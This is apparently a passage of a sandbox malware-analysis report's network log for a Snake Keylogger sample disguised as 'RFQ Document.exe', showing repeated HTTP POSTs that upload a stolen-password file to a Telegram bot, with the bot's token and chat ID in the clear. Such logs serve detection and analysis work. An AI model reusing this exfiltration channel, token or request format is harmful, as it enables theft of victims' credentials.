2021-09-28 05:59:07 UTC	259	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:07 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:07 UTC	260	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12751,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808747,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.4	49978	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:08 UTC	260	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255de096688 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:08 UTC	261	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 65 30 39 36 36 38 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255de096688Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:08 UTC	261	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:08 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:08 UTC	261	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12752,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808748,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.4	49979	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:08 UTC	262	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255de28f1b6 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:08 UTC	262	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 65 32 38 66 31 62 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255de28f1b6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:08 UTC	263	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:08 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:08 UTC	263	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12753,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808748,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.4	49980	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:08 UTC	264	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255de403f36 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:08 UTC	264	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 65 34 30 33 66 33 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255de403f36Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:08 UTC	264	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:08 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:08 UTC	265	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12754,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808748,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.4	49981	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:08 UTC	265	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255de5cd898 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:08 UTC	265	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 65 35 63 64 38 39 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255de5cd898Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:08 UTC	266	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:08 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:08 UTC	266	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12755,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808748,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.4	49982	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:08 UTC	267	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255de7bd6f1 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:08 UTC	267	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 65 37 62 64 36 66 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255de7bd6f1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:08 UTC	267	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:08 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:08 UTC	268	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12756,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808748,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.4	49983	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:08 UTC	268	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255de93c063 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:08 UTC	269	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 65 39 33 63 30 36 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255de93c063Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:09 UTC	269	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:09 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:09 UTC	269	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12757,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808748,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.4	49984	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:09 UTC	270	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255deb05f41 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:09 UTC	270	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 65 62 30 35 66 34 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255deb05f41Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:09 UTC	271	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:09 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:09 UTC	271	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12758,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808749,"d

